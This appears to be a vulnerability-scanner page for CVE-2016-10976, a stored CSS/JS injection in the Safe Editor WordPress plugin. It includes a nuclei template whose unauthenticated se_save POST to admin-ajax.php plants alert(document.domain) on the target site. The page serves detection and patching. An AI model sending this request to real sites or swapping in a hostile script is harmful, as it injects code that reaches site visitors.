Safe Editor Plugin < 1.2 - CSS/JS-injection

mediumseverity

6.1CVSS score

1.7%likelihood of exploitation, next 30 days

78%of all CVEs are less likely

Readycheck to confirm it

The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.

Impact

Unauthenticated attackers can inject malicious JavaScript or CSS code into the site, potentially stealing credentials, manipulating site content, or targeting site visitors.

Fix

Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.

How to confirm it

Send: POST /wp-admin/admin-ajax.php HTTP/1.1
Positive when: len(body) == 0 and status_code == 200 and contains(content_type, "text/html")
Send: GET {{BaseURL}}
Positive when: status_code == 200 and contains(content_type, "text/html") and contains_all(body, "alert(document.domain)", "save_edit_js")

Run it with nuclei: nuclei -id CVE-2016-10976 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2016-10976

info:
  name: Safe Editor Plugin < 1.2 - CSS/JS-injection
  author: Splint3r7
  severity: medium
  description: |
    The safe-editor plugin before 1.2 for WordPress has no se_save authentication, with resultant XSS.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript or CSS code into the site, potentially stealing credentials, manipulating site content, or targeting site visitors.
  remediation: |
    Update to the latest version of safe-editor plugin or apply the patch provided by the vendor.
  reference:
    - https://wordpress.org/plugins/safe-editor/#developers
    - https://github.com/ARPSyndicate/cvemon
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10976
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-10976
    cwe-id: CWE-79
    epss-score: 0.01747
    epss-percentile: 0.78
    cpe: cpe:2.3:a:kodebyraaet:safe_editor:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: kodebyraaet
    product: safe_editor
    framework: wordpress
  tags: cve,cve2016,wordpress,wp,wp-plugin,xss,safe_editor,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=se_save&type=js&data=alert(document.domain)

    matchers:
      - type: dsl
        dsl:
          - 'len(body) == 0'
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "alert(document.domain)", "save_edit_js")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from